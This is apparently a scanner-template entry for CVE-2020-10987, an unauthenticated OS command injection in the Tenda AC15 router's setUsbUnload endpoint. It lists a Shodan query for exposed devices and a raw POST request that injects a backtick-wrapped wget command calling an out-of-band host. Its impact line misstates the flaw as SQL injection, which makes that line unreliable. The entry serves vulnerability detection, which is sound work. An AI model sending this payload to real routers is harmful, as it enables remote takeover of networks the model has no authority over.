| Title | Tenda AC15 AC1900 version 15.03.05.19 - Command Injection |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary SQL commands to access or modify database contents, potentially compromising the entire Tenda router and network configuration. |
| Remediation | Upgrade to a patched firmware version or replace the affected device. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93625 |
| CVE ID | CVE-2020-10987 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"tenda wifi" |
| Tags | cve cve2020 tenda rce kev unauth vkev vuln |
The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.107 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /goform/setUsbUnload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Content-Length: 76
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
deviceName=test`;wget http://d5joe4ple0o2gk1cuft0pf45no9fbq8qu.oast.online;`
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10987.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-10987.pcap
N/AN/A